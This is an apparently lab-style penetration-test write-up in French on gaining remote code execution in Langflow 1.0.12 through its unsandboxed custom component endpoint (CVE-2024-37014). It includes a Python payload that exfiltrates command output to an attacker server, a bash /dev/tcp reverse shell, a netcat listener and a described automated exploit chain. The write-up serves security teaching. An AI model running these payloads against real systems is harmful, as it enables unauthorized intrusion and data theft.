← Back to all articles

Langflow — RCE via composant personnalisé (CVE-2024-37014)

Comment nous avons obtenu un reverse shell sur Langflow 1.0.12 en abusant de l'endpoint d'exécution de composants personnalisés non sandboxé.

Dans ce writeup, nous détaillons les étapes pour obtenir un reverse shell sur Langflow, un framework open-source populaire pour construire des applications pilotées par IA.

Langflow est une plateforme auto-hébergée qui permet aux utilisateurs de composer visuellement des pipelines LLM via une interface drag-and-drop. Nous allons exploiter l'une de ses fonctionnalités qui permet aux utilisateurs d'écrire et d'exécuter des composants Python personnalisés directement sur le serveur.

Walkthrough de la machine

On commence par énumérer la machine avec un simple scan de ports.

nmap -sC -sV -A -p- 

image.png

image.png

Service HTTP sur le port 7860.

On visite le site.

image.png

La version ne semble pas affichée sur la page d'accueil, donc on lance un nouveau projet « Blank Flow » dans Langflow. En explorant l'interface, on remarque un bouton en bas à gauche qui affiche le numéro de version au survol. On confirme ainsi que Langflow v1.0.12 est utilisé.

image.png

Une recherche rapide pour vérifier si une vulnérabilité publique existe.

CVE-2024-37014 : la fonctionnalité Custom Component de Langflow permet aux utilisateurs d'écrire et d'exécuter des scripts Python arbitraires via l'endpoint POST /api/v1/custom_component sans aucune validation ni sandboxing. Un attaquant peut donc fabriquer un payload malveillant, l'envoyer au serveur et exécuter du code Python arbitraire — gagnant ainsi le contrôle total du système.

💡 CVE-2024-37014 est une vulnérabilité critique affectant les versions de Langflow jusqu'à 0.6.19 incluse, mais elle semble toucher également la version 1.0.12.

Exploitation manuelle

Étape 1 — Créer un nouveau projet

On commence par initialiser un nouveau projet blank flow dans l'application Langflow.

image.png

image.png

Chercher « Custom Components » dans le menu de gauche et faire glisser un composant personnalisé sur le canevas vide.

image.png

Cliquer sur l'icône de code qui apparaît en haut du composant pour ouvrir la fenêtre Edit Code.

image.png

Étape 2 — Injecter du code Python malveillant

Dans la classe CustomComponent, on injecte la fonction suivante pour exécuter des commandes système arbitraires et envoyer la sortie vers notre serveur :

import subprocess
import requests
import base64

def execute_and_send():
    result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
    if result.stderr:
        print("Error:", result.stderr)
        return
    encoded_output = base64.b64encode(result.stdout.encode()).decode()
    requests.get(f"http:///?data={encoded_output}")

execute_and_send()

Bien inclure le payload à l'intérieur de la classe du composant, et non pas remplacer tout le fichier.

Étape 3 — Déclencher l'exécution

Cliquer sur « Check & Save » puis exécuter le composant via la flèche en haut à droite. Cela déclenche l'API /api/v1/custom_component qui traite et exécute notre script.

image.png

Étape 4 — Établir un reverse shell

On améliore l'exploit pour obtenir un reverse shell complet en remplaçant le payload par :

def build_output(self) -> Data:
    result = subprocess.run(
        ["bash", "-c", "bash -i >& /dev/tcp//1234 0>&1"],
        capture_output=True,
        text=True
    )
    if result.stderr:
        return Data(value=f"Error: {result.stderr}")
    return Data(value="Command executed")

Démarrer le listener sur la machine attaquante :

nc -lvnp 1234

Check & Save sur le composant, puis exécuter.

image.png


Automatisation

Plutôt que de déclencher l'exploit manuellement, nous avons automatisé la chaîne d'attaque complète avec un Makefile et un script exploit.py dédié.

Structure du projet

exploitation/Langflow_v1.0.12/
├── exploit.py      # Automatisation complète de l'attaque (chaîne RCE 4 étapes)
├── Makefile        # Raccourcis pour le listener et l'attaque
└── README.md       # Ce writeup

Fonctionnement

Le script exploit.py reproduit exactement ce que l'interface Langflow fait en interne, en 4 étapes automatisées :

  1. Valider le code du composant malveillant via POST /api/v1/custom_component
  2. Créer un flow contenant le composant malveillant via POST /api/v1/flows/
  3. Initialiser le graphe de build via POST /api/v1/build/{flow_id}/vertices
  4. Déclencher l'exécution via POST /api/v1/build/{flow_id}/vertices/{vertex_id} → RCE

Utilisation

Terminal 1 — Démarrer le listener :

make listen

Terminal 2 — Lancer l'attaque :

make attack LISTENER_IP=<votre-ip>

Lancer le listener

image.png

Exécuter l'exploit

image.png

Récupérer le shell

image.png


Conclusion

Ce test d'intrusion démontre comment un attaquant peut tirer parti de l'exécution non sécurisée de scripts Python définis par l'utilisateur dans la fonctionnalité Custom Component de Langflow pour obtenir une Remote Code Execution (RCE). L'absence totale de sandboxing et de validation des entrées sur l'endpoint /api/v1/custom_component rend cette RCE non authentifiée trivialement exploitable sur tout déploiement Langflow exposé à Internet.

Want to test your own defenses?

Book a free high-level cybersecurity assessment with our team.

Get Started